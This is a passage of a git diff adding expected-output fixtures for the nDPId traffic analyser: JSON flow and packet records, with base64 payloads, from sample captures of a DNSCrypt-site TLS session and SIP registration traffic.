QEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMA0GCSqGSIb3DQEBDAUAA4IBAQBkv4PxX5qF0M24oSlXDeha99HpPvJ2BG7xUnC7Hjz\/TQ10asyBgiXTw6AqXUz1uouhbcRUCXXH4ycOXYR5N0ATd\/W0rBzQO6sXEtbvNBh+K+l506tXRQyvKPrQ2+VQlYi734VXaX2S2FLKc4G\/HPPmuG5mEQWzHpQtf5GVklnxTM6jkXFMfEcMOwsZ9qGxbIY+XKrELoLL+QeWukhNkPKUyKlzousGeyOd3qLzTVWfemFFmBhox15AayP1eXrvjLVri7dvRvR78T1LBNiTgFla4EEkHbKPFWBYR9vvbkb9FfXZX5qz29i45ECzzZc5roW7HY683Ieb0abv8TtvEDhvAAQ6MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821+iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq\/NzgtHj6RQa1wVsfwTz\/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmoaSYYkKtMsE8jqzpPhNjfzp\/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN\/cALw3CknLa0Dhy2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0="} +00416{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":612199,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPT9AAIAGMLLAqCunhncaGMRSAbte7A9WlXS9dlAQAECbegAA"} +02181{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":612925,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGPCZAADMGea2GdxoYwKgrpwG7xFKVdL12XuwPVlAQAO0yiwAAKddGtworZbbTQm8Vsrh7++\/pXVPVNFonAgMBAAGjgdwwgdkwHQYDVR0OBBYEFK29mHo0tCb3+sQmVO8DveAky1QaMAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTADAQH\/MIGZBgNVHSMEgZEwgY6AFK29mHo0tCb3+sQmVO8DveAky1QaoXOkcTBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290ggEBMA0GCSqGSIb3DQEBBQUAA4IBAQCwm+CFJcLWI+IPlgaSnUGYnNmEeYHZHlsUByM2ZY+w2He7rEFsR2CDUbD5Mj3n\/PYmE8eAFqW\/WvyHz3h5iSGa4kwHCoY1vPLeUcTSlrfcfk7ucP0cOesMAlEULY69FuDB30Z15ySt7PRCtIWTcBBnup0GNUoY0yt6zFFCoXpj0ea7ocUrwja+Ew3mvWN+eXunCQ1Aq2rdj4rD9vaMGkIFUdRF9Z+nYiFoFSBDPJnnfL0k2KmRF3OIP1YbMTgYtHEPms3IDp6OLhvhjJiDyx8x8URMxgRzSXZgD8f4vReAay7pzEwOWpp5DyAKLtWeYyYeVZKU2IIXWnvQvMePToYEFgMDAeAWAAHcAQAB2DCCAdQKAQCgggHNMIIByQYJKwYBBQUHMAEBBIIBujCCAbYwgZ+iFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucYDzIwMTcwNDA5MDQwMjQwWjB0MHIwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy+emBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQCCr5kvWgaS4\/6x6rGelVcqgAAYDzIwMTcwNDA5MDQwMjQwWqARGA8yMDE3MDQxNjA0MDI0MFowDQYJKoZIhvcNAQELBQADggEBAH+wfpp+5LlkCRisx4nBj3QUHeouZckpEuXuzNLrHapMTI2irFC1B8nhS8VqiSEhU80d87eufNjS9ja4P3y\/9Gf1mDgVmwelWuNUfTDa0fIOG+Iok+qRyzywOVh+bLzrVJ1TmjtXTZD42IWFcGqgYx7yUytRrBy8tsK+7tvF\/TdoJvdyDca\/zwlZABw6+foldVCqO5dRcQIV1cOsQ1EYCUZmHJPpUe2sxVE3cuvAzL9LySGo9pync+JfJU2vw8JdwOcokNSprDor2Fq2Lrm0a1PkUH6nOdzaMWMf+cM8JLhskYX9lg8v9hKrHYKQkVmkHpKCAtg4IbjOmYaD7pVy9OUWAwMCTQwAAkkDABdBBOQBw8a7wwwIBUc6xvoRYH95nvrfu1gNnFZrS3UCDSaz2sm9sLlpLhcqAfa8gejsKHleao51wRJX0wZ5raBhnV4GAQIALnQnGKjqB5gH3ozWgjfwqzq1r9fLbFPh+TecMRPPo7Kb4cdPYHrTZdnzP\/wVgQRmlRxxRmAdF+eYO8VkjhyNbIwURiq96\/6++bWFXva15lFpOzDRGSnn+GsV8Latce+HzRor+gXr76P24APQnSRFcc9dFE61EPF6CJH1OFUyb5AvxOHpD38pQmtACr+aLFVh2Pdmynku3UPNWvmIoHyxLo3PbU0jv4biMOWuClHYVwiQCIyJ\/yl3q9LU9dK34zKNNcLK3+MhNiIT4RnabH+qnJ8rldvJgCc="} +01130{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":87,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":12,"flow_first_seen":1491813286392,"flow_last_seen":1491813286612,"flow_tot_l4_data_len":7024,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50258,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DNScrypt","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","server_names":"simplednscrypt.org,www.simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=simplednscrypt.org","alpn":"h2,http\/1.1","fingerprint":"3E:20:0F:BF:AD:D8:5C:A1:A1:1B:E5:B2:A7:D4:68:E2:6A:DB:01:41"}} +00833{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":612927,"pkt_caplen":360,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":360,"pkt_l4_len":326,"pkt":"pDTZFrEGuFpz9d6dCABFAAFaPCdAADMGfZiGdxoYwKgrpwG7xFKVdMKUXuwPVlAYAO24IwAAOniMGP4VfxmqNYQkfmYsWzbtFzPT8SzMmHLpB8VEC49Krcr1+mK5gWMneNpnV9dODfdehLZnP0A\/O2j3PCFXZww0C2p7j2lBW5KK\/nFKj0DgymGHVQn2sGgTGQbXWLq7kpacgXw8M39PxN7RT2S8WR98pWYHn6moqRPQIUN71ryQq2I3sVu3GSK+WnX6dN+gVflqI+wV93ySPTZNsauRM\/ypKN7HSpQlBFHVKNMAggEU3sXbo\/\/YnRHEE0y13nL0P5k6I9ow\/Isps7udr+o640FCadudaRKKLP7C888mtsiggJjlQ8I3kTpna8W+eEWAtsai9jHCC0AwVsAYwxrsXIn4elp8rDeNYgHNpBqZu2j1wa+9s3OgRLcQiqmrn4PiMSsVVK0GYu0nFgMDAAQOAAAA"} +00416{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":613108,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPUBAAIAGMLHAqCunhncaGMRSAbte7A9WlXTDxlAQAECVKgAA"} +00589{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":617377,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"uFpz9d6dpDTZFrEGCABFAACmPUFAAIAGMDLAqCunhncaGMRSAbte7A9WlXTDxlAYAEBXewAAFgMDAEYQAABCQQS3Xp2AlfFC22Y2YogKVYDmOcIMxJboN\/X7MTLKc+s0a\/3KPHASyDk0CPcYXgtszMN5ekLUAAOsBJqGyUfM8brVFAMDAAEBFgMDACgAAAAAAAAAAGSqZuE6blT7eearrYamBpAP9Uxx8q45CrWFtb1OeTqe"} diff --git a/test/results/sip.pcap.out b/test/results/sip.pcap.out new file mode 100644 index 000000000..222e1a697 --- /dev/null +++ b/test/results/sip.pcap.out @@ -0,0 +1,50 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"sip.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1120469572844,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01013{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469572,"pkt_ts_usec":844249,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvaZgAAIARF6bAqAEC1PIhIxPEE8QB2272UkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTUxMjQ4NzM3LTQ2ZWE3MTVlMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTkwM2RmMGENClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDY4IFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"sip.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1120469572844,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +01037{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469572,"pkt_ts_usec":981006,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7tD8U0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA2OCBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9OTAzZGYwYQ0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDkyLTE3MDFhZjYyLTEyMGM2NzE3Mg0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0YktucDE1MTI0ODczNy00NmVhNzE1ZTE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlPSIxNzAxYWY1NjZiZTE4MjA3MDA4NGM2Zjc0MDcwNmJiIixvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +01297{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":259876,"pkt_caplen":722,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":722,"pkt_l4_len":688,"pkt":"ADBUADRWAODtAW69CABFAALEaaEAAIARFsjAqAEC1PIhIxPEE8QCsIioUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTQ5NTA1MTc4LTQzOGM1MjhiMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPThlOTQ4YjANClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDY5IFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KQXV0aG9yaXphdGlvbjogRGlnZXN0IHVzZXJuYW1lPSJ2b2kxODA2MyIscmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLHVyaT0ic2lwOjE5Mi4xNjguMS4yIixub25jZT0iMTcwMWFmNTY2YmUxODIwNzAwODRjNmY3NDA3MDZiYiIsb3BhcXVlPSIxNzAxYTEzNTFmNzA3OTUiLG5jPSIwMDAwMDAwMSIscmVzcG9uc2U9ImJkNzlmZWNhZTYwMGEyZWI3OWQzN2VjNzMyMTQ4MzBiIg0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +00798{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":405967,"pkt_caplen":348,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":348,"pkt_l4_len":314,"pkt":"AODtAW69ADBUADRWCABFAAFOAABAADcRit\/U8iEjwKgBAhPEE8QBOln2U0lQLzIuMCAxMDAgVHJ5aW5nDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA2OSBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9OGU5NDhiMA0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz4NClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7cmVjZWl2ZWQ9ODAuMjMwLjIxOS43MDtycG9ydD01MDYwO2JyYW5jaD16OWhHNGJLbnAxNDk1MDUxNzgtNDM4YzUyOGIxOTIuMTY4LjEuMg0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +00853{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":455801,"pkt_caplen":388,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":388,"pkt_l4_len":354,"pkt":"AODtAW69ADBUADRWCABFAAF2AABAADcRirfU8iEjwKgBAhPEE8QBYot4U0lQLzIuMCA0MDMgV3JvbmcgcGFzc3dvcmQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDY5IFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04ZTk0OGIwDQpUbzogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODUtMTcwMWFmOTgtNTFhNjViMzQwDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTkuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wMTQ5NTA1MTc4LTQzOGM1MjhiMTkyLjE2OC4xLjINCkNvbnRlbnQtTGVuZ3RoOiAwDQoNCg=="} +01013{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":188467,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvac4AAIARF3DAqAEC1PIhIxPEE8QB29MsUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTQwNTIwMTk5LTQ4OWQ1MjBmMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTg2MDJiMTQNClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDcwIFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +01037{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469680,"pkt_ts_usec":330692,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7uWqU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3MCBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9ODYwMmIxNA0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDg5LTE3MDFiMDUwLTYxYWM0Yzk0Mw0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0YktucDE0MDUyMDE5OS00ODlkNTIwZjE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlPSIxNzAxYjA0MjA3M2U0MGRjM2FjN2FkYjA1MmFkNDFkIixvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +01297{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":469146,"pkt_caplen":722,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":722,"pkt_l4_len":688,"pkt":"ADBUADRWAODtAW69CABFAALEadkAAIARFpDAqAEC1PIhIxPEE8QCsDUFUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTM4NzgwNjcyLTQ1MDIyYTFjMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTg0NWEwMGQNClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDcxIFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KQXV0aG9yaXphdGlvbjogRGlnZXN0IHVzZXJuYW1lPSJ2b2kxODA2MyIscmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLHVyaT0ic2lwOjE5Mi4xNjguMS4yIixub25jZT0iMTcwMWIwNDIwNzNlNDBkYzNhYzdhZGIwNTJhZDQxZCIsb3BhcXVlPSIxNzAxYTEzNTFmNzA3OTUiLG5jPSIwMDAwMDAwMSIscmVzcG9uc2U9ImNjMmQ0NTczZWU5Mzk5ZjM0YzFjN2YzYmY1MTQ0MTAzIg0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +01045{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":621120,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":533,"pkt_l4_len":499,"pkt":"AODtAW69ADBUADRWCABFAAIHAABAADcRiibU8iEjwKgBAhPEE8QB877qU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDcxIFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04NDVhMDBkDQpUbzogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODktMTcwMWIwNjctMzIwYWQyZGEzDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTkuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wMTM4NzgwNjcyLTQ1MDIyYTFjMTkyLjE2OC4xLjINCldXVy1BdXRoZW50aWNhdGU6IERpZ2VzdCByZWFsbT0ic2lwLmN5YmVyY2l0eS5kayIsbm9uY2U9IjE3MDFiMDYxMTU4NzQyNDQ2ZDNkZThiODBkNjQ1ZjMiLG9wYXF1ZT0iMTcwMWExMzUxZjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aG09TUQ1DQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01015{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":669186,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvaiYAAIARFxjAqAEC1PIhIxPEE8QB25tyUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTIzNzU5MDYzLTQ2NGJjMWJiMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTc2MDY5ZTQNClRvOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2MkAxOTIuMTY4LjEuMjo1MDYwO2xpbmU9YWNhNmI5N2NhM2Y1ZTUxYT47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDcyIFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} 